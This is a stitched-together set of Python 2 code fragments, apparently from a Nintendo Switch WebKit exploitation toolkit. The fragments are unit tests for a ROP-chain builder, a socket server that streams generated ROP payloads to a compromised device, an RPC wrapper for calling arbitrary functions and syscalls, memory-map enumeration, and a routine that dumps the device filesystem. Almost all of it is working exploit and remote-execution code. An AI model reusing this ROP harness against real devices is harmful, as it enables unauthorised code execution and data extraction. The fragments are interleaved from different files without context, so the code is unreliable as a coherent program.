def test_write(self): """" Tests that the write64 gadget works """ self.rop.write64(0x1234567887654321, data + 0) self.rop.write64(0xDEADBEEF, data + 8) self.execute() self.assertEqual(u64(self.memory, 0), 0x1234567887654321) self.assertEqual(u64(self.memory, 8), 0xDEADBEEF)
def test_set_x8(self): """ Tests that setting X8 works """ self.rop.call(F.setjmp, data + 0, 2, 3, x8=0xB00BBABE) # setjmp self.execute() self.assertEqual(u64(self.memory, 1 * 8), 2) self.assertEqual(u64(self.memory, 2 * 8), 3) self.assertEqual(u64(self.memory, 8 * 8), 0xB00BBABE)
def test_dump_regs(self): """ Tests that dumping regs via setjmp works """ self.rop.call(G.ret, 1, 2, 3, 4, 5, 6, 7, 8) self.rop.dump_regs(data, and_store_r0=data + 0x400) self.execute() self.assertEqual(u64(self.memory, 0x400), 1) # r0 for x in range(1, 8): self.assertEqual(u64(self.memory, x * 8), x + 1)
def get_bases(self): rop = Rop() rop.write64(data_base, data_base + 0) rop.write64(main_base, data_base + 8) rop.write64(wk_base, data_base + 0x10) data = self.execute(rop) buf_base = u64(data, 0) - 0x10000 return [buf_base, u64(data, 8)]
def query(self, addr): regs = self.fh.svcQueryMemory(data_base, data_base + 0x100, addr, regs=True) base = u64(self.mem, 0) size = u64(self.mem, 8) state = u32(self.mem, 0x10) attr = u32(self.mem, 0x14) perm = u64(self.mem, 0x18) unk1 = u32(self.mem, 0x1C) unk2 = u32(self.mem, 0x20) unk3 = u32(self.mem, 0x24) pageinfo = regs["x1"] & 0xFFFFFFFF perm_str = '' perm_str += 'R' if (perm & 1) else ' ' perm_str += 'W' if (perm & 2) else ' ' perm_str += 'X' if (perm & 4) else ' ' type_map = { 0: 'UNMAPPED', 1: 'IO', 2: 'STATIC', 3: 'CODE RO', 4: 'CODE RW', 5: 'HEAP', 6: 'SHAREDMEM', 7: 'WEIRDMAP', 8: 'MODULE RO', 9: 'MODULE RW', 0xB: 'MAPPED', 0xC: 'TLS', 0xD: 'WEIRDSHARED', 0xE: 'TRANSFERMEM', 0xF: 'PROCESS', 0x10: 'RESERVED' } attr_str = '' if attr & 1: attr_str += 'MIRORRED ' if attr & 2: attr_str += '!!UNK!! ' if attr & 4: attr_str += 'DEVICEMAPPED ' if attr & 8: attr_str += 'UNCACHED ' if state != 0: print '[%s] 0x%010x-0x%010x size=0x%010x [%s] %s' % (perm_str, base, base+size-1, size, type_map[state], attr_str) if unk1 != 0: print ' !!Unk1!!: 0x%x' % unk1 if unk2 != 0: print ' Unk2: 0x%x' % unk2 if unk3 != 0: print ' !!Unk3!!: 0x%x' % unk3 if pageinfo != 0: print ' Info: 0x%x' % pageinfo return base + size
def test_store_load_ret(self): """ Tests that store_ret and load_ret work """ self.rop.write64(0x8DEADB00B, data) self.rop.load_ret(data) self.rop.store_ret(data + 8) self.rop.load_ret(data + 8) self.rop.store_ret(data + 0x50) self.execute() self.assertEqual(u64(self.memory, 0), 0x8DEADB00B) self.assertEqual(u64(self.memory, 8), 0x8DEADB00B) self.assertEqual(u64(self.memory, 0x50), 0x8DEADB00B)
def bases(self): """ Ok this is done in a kinda roundabout way but whatever """ rop = Rop() rop.write64(data_base, data_base + 0) rop.write64(main_base, data_base + 8) rop.write64(wk_base, data_base + 0x10) data = self.execute(rop) buf_base = u64(data, 0) - 0x10000 print "Static memory: 0x{:x} (You can use it between different calls)".format(buf_base) print "Main binary base: 0x{:x}".format(u64(data, 8)) print "Webkit base: 0x{:x}".format(u64(data, 0x10))
def sockserver(host, port, rpc): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(10) c, addr = s.accept() print(c, addr) setup_buf = c.recv(0x1000, socket.MSG_WAITALL) data_base = u64(setup_buf, 0) main_base = u64(setup_buf, 8) wk_base = u64(setup_buf, 0x10) sockfd = u64(setup_buf, 0x100) print("got data of len 0x{:x}".format(len(setup_buf))) print("data: 0x{:x} main: 0x{:x} wk: 0x{:x} sockfd: {}".format( data_base, main_base, wk_base, sockfd)) # NOTE: in this first payload, data_base is at +0x8000 # See rpc.py for the buf layout buf = data_base - 0x8000 rpc.set_args(sockfd, buf) relocs = { 1: buf + RPC_DYNAMIC_MEM_OFF, 2: main_base, 3: wk_base } # 1 = data_base = dynamic mem print("--- setup complete ---") print("you can run ./client.py now") while True: rop = rpc.next_payload() binary = rop.generate_binary(relocs) print("Sending rop len = 0x{:x}".format(len(binary))) binary += "\x00" * (RPC_ROP_LEN - len(binary)) ret = c.send(binary) print("Sent 0x{:x}".format(ret)) data = c.recv(RPC_RESPONSE_LEN, socket.MSG_WAITALL) rpc.res_q.put(data) # print "Got data: {} len 0x{:x}".format(data, len(data)) print("Got data len 0x{:x}".format(len(data)))
def awrite(self, data): """ automem write: "allocate" memory in data section and write into it """ while len(data) % 8 != 0: data += "\x00" mem = self.alloc(len(data)) for x in range(len(data) / 8): self.write64(u64(data, 8 * x), mem + 8 * x) return mem
def test_rv_call(self): """ Tests that x0 is forwarded properly """ off = 0x1230 self.rop.write64(data + off, data) self.rop.load_ret(data) self.rop.call(F.setjmp, Ret, 1, 2, 3, 4) self.execute() for x in range(1, 5): self.assertEqual(u64(self.memory, off + x * 8), x)
def call(self, func, *args, **kwargs): if type(func) in [str, unicode]: if func in self.funcs: func = self.funcs[func] else: raise RuntimeError("unknown function {}".format(func)) return_regs = kwargs.get("regs", False) if "regs" in kwargs: del kwargs["regs"] args = list(args) rop = Rop() for x, arg in enumerate(args): if type(arg) is str: args[x] = rop.awrites(arg) rop.call(func, *args, **kwargs) r0_off = RPC_RESPONSE_LEN - 8 jmp_buf_off = RPC_RESPONSE_LEN - 0x1000 # if user asked for return_regs, we use setjmp to retrieve them # this is useful for syscalls because they can return values in multiple regs if return_regs: rop.dump_regs(data_base + jmp_buf_off, and_store_r0=data_base + r0_off) else: # NB: we store return address as the last qword that switch replies to us, to ensure minimum conflicts with other code rop.store_ret(data_base + r0_off) data = self.ch.execute(rop) self.ch.mem = data ret = u64(data, r0_off) if return_regs: regs = {"x0": ret} # this one's special for x in range(1, 31): regs["x{}".format(x)] = u64(data, jmp_buf_off + 8 * x) return regs return ret
def test_func_call(self): """ Tests that chaining functions works, and arguments are passed properly """ self.rop.call(F.setjmp, data + 0, 0x1111111111, 0x2222222222, 0x3333333333, 0x4444444444) # setjmp self.rop.write64(0xDEAD, data + 0x50) self.rop.call(F.setjmp, data + 0x100, 0x8, 0x7, 0x6, 0x5) # setjmp self.execute() self.assertEqual(u64(self.memory, 0x8), 0x1111111111) self.assertEqual(u64(self.memory, 0x10), 0x2222222222) self.assertEqual(u64(self.memory, 0x18), 0x3333333333) self.assertEqual(u64(self.memory, 0x20), 0x4444444444) self.assertEqual(u64(self.memory, 0x50), 0xDEAD) self.assertEqual(u64(self.memory, 0x108), 0x8) self.assertEqual(u64(self.memory, 0x110), 0x7) self.assertEqual(u64(self.memory, 0x118), 0x6) self.assertEqual(u64(self.memory, 0x120), 0x5)
def space(self): maps = [] cur = 0 while cur < 2 ** 64: regs = self.fh.svcQueryMemory(data_base, data_base + 0x100, cur, regs=True) base = u64(self.mem, 0) size = u64(self.mem, 8) perm = u64(self.mem, 0x18) state = u64(self.mem, 0x10) pageinfo = regs["x1"] & 0xFFFFFFFF # or at self.mem + 0x100 maps.append({ 'base': base, 'size': size, 'perm': perm, 'state': state, 'pageinfo': pageinfo }) cur += size return maps
def list_dir(self, path, recursive=False, dump_files=False, host_path="", prefix=""): if dump_files: os.mkdir(host_path) ret = self.fh.OpenDirectory(data_base, path, 3) if ret != 0: print "failed to open '{0}', error={1}=0x{1:x}".format(path, ret) return handle = u64(self.mem, 0) while True: self.fh.ReadDirectory(data_base, data_base + 0x200, handle, 1) ret = u64(self.mem, 0) if ret != 1: break entry = self.mem[0x200:0x200 + 0x310] is_file = u32(entry, 0x304) & 1 name = c_str(entry, 0) print "{}{}{}".format(prefix, name, "/" if not is_file else "") fullpath = "{}/{}".format(path, name) if dump_files and is_file: self.dump_file(fullpath, os.path.join(host_path, name)) if recursive and not is_file and ('emoji' not in name): self.list_dir(fullpath, recursive, dump_files, os.path.join(host_path, name), prefix + "-") self.fh.CloseDirectory(handle)
def test_v8_call(self): """ Tests that calling with a lot of args works """ self.rop.call(F.setjmp, data + 0, 2, 3, 4, 5, 6, 7, 8) # setjmp self.execute() for x in range(1, 8): self.assertEqual(u64(self.memory, x * 8), x + 1)